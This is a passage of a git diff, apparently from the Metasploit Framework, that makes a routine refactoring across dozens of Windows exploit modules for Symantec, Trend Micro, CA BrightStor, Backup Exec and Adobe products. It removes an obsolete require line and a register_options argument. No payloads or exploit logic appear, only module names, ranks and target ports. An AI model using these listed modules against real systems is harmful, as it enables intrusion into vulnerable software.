a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) - ], self.class) + ]) deregister_options('CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb index e1ae91de8e..83889b0adb 100644 --- a/modules/exploits/windows/antivirus/symantec_iao.rb +++ b/modules/exploits/windows/antivirus/symantec_iao.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 28 2009')) - register_options( [ Opt::RPORT(38292) ], self.class ) + register_options( [ Opt::RPORT(38292) ]) end def exploit diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb index 1e464e7b5d..ba56aa712f 100644 --- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb +++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2967) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb index 1100693c5a..c88d3bced3 100644 --- a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb +++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy) - ], self.class) + ]) end def send_xml_rpc_request(xml) diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb index 78276f632f..71967dccc1 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 20 2007')) - register_options( [ Opt::RPORT(5168) ], self.class ) + register_options( [ Opt::RPORT(5168) ]) end def exploit diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb index f85e5a0d20..d156a222b8 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'May 7 2007')) - register_options( [ Opt::RPORT(5168) ], self.class ) + register_options( [ Opt::RPORT(5168) ]) end def exploit diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb index aab4bbef64..5cc87238a3 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'May 7 2007')) - register_options( [ Opt::RPORT(3628) ], self.class ) + register_options( [ Opt::RPORT(3628) ]) end def exploit diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index c4ef38be85..28e5ee8982 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb index 6b1392a2b6..1db4e5aa21 100644 --- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb +++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7777), - ], self.class) + ]) end def trojan_encode(str) diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index f67e8af3b3..3e61c997aa 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6101) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 85ca160d70..b479e4b90b 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10000) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 9c34ac5621..9cf7603ac8 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']), Opt::RPORT(6504) - ], self.class) + ]) end def fingerprint diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index c2c7d89872..f20eacf09f 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(41523) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index 1a8a8d5885..fee7f9f844 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(41524) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 5947954bba..8816b0b322 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb index a23793e2e1..fad1e76072 100644 --- a/modules/exploits/windows/brightstor/hsmserver.rb +++ b/modules/exploits/windows/brightstor/hsmserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2000) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb index 11017fc1d8..e72aa4a84b 100644 --- a/modules/exploits/windows/brightstor/lgserver.rb +++ b/modules/exploits/windows/brightstor/lgserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1900) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 6aadbd1579..e93016dba6 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(1900) ], self.class) + register_options([ Opt::RPORT(1900) ]) end def check diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index 307a6d1eb0..ce607fa39a 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(1900) ], self.class) + register_options([ Opt::RPORT(1900) ]) end def check diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index 9af29f1237..0df7bf6bdf 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(1900) ], self.class) + register_options([ Opt::RPORT(1900) ]) end def check diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index 8f464578f1..5fe97fc76c 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(1900) ], self.class) + register_options([ Opt::RPORT(1900) ]) end def check diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb index 2e6634ae61..5f0d0fb67d 100644 --- a/modules/exploits/windows/brightstor/license_gcr.rb +++ b/modules/exploits/windows/brightstor/license_gcr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Mar 2 2005', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(10202) ], self.class) + register_options([ Opt::RPORT(10202) ]) end def exploit diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index f6a5fc70d8..dbe5adb009 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb index 5f8c82ef4f..885c65d1bd 100644 --- a/modules/exploits/windows/brightstor/message_engine.rb +++ b/modules/exploits/windows/brightstor/message_engine.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6503) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb index 377f36c163..354dc23c83 100644 --- a/modules/exploits/windows/brightstor/message_engine_72.rb +++ b/modules/exploits/windows/brightstor/message_engine_72.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 4 2010', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(6504)], self.class) + register_options([Opt::RPORT(6504)]) end def exploit diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb index 0fe296dcb1..fe92b27d82 100644 --- a/modules/exploits/windows/brightstor/message_engine_heap.rb +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6503) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 6c485b64f0..179eae262c 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6070) - ], self.class) + ]) end diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index 46702d30fd..0375663ece 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 21 2006', 'DefaultTarget' => 1)) - register_options([ Opt::RPORT(6502) ], self.class) + register_options([ Opt::RPORT(6502) ]) end def exploit diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb index 36c01eb3c3..c5823c5fd7 100644 --- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 4 2010', 'DefaultTarget' => 0)) - register_options([ Opt::RPORT(6502) ], self.class) + register_options([ Opt::RPORT(6502) ]) end def exploit diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 4d157fe3e2..277907707c 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6050) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index ee0bd5ed76..672e0d3473 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 89371513f5..06876f75a2 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb index fc286ce6bd..dd07054cc3 100644 --- a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb +++ b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb index 0b3e808fbc..53b56338d5 100644 --- a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb +++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb index f6d45a1423..4dcea0bb91 100644 --- a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index 4630fa186b..413aae120e 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 4574cbf54b..a63236dd3f 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 14e13e7d70..383c8a28d2 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]), - ], self.class) + ]) end def get_payload(t, flash_version=nil) diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb index 9de4c02cc0..26ec5e22de 100644 --- a/modules/exploits/windows/browser/adobe_flash_pcre.rb +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index d9586cbf27..5705b19ef8 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 37ea120c5a..fe528c2198 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index d87f5ffc0e..dcb4619f27 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index 9111d09548..11f69a53a1 100644 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb index 169eb46fca..98e481cd37 100644 --- a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index b74acc6da8..9a15fd2807 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index 9f12cf5b73..64bdb50450 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index 1df3b951d3..3e4fd0fc25 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index bbb6dc6312..d4381c7e99 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index c806c3cb97..0a22131b1a 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index b0c0e7dffc..ef9c4b7bfd 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index 8b26e8b882..3b3fcf3ecd 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index 61ffba6cb5..3a050e890b 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index ff232b7c98..e3dc3f4dc2 100644 --- 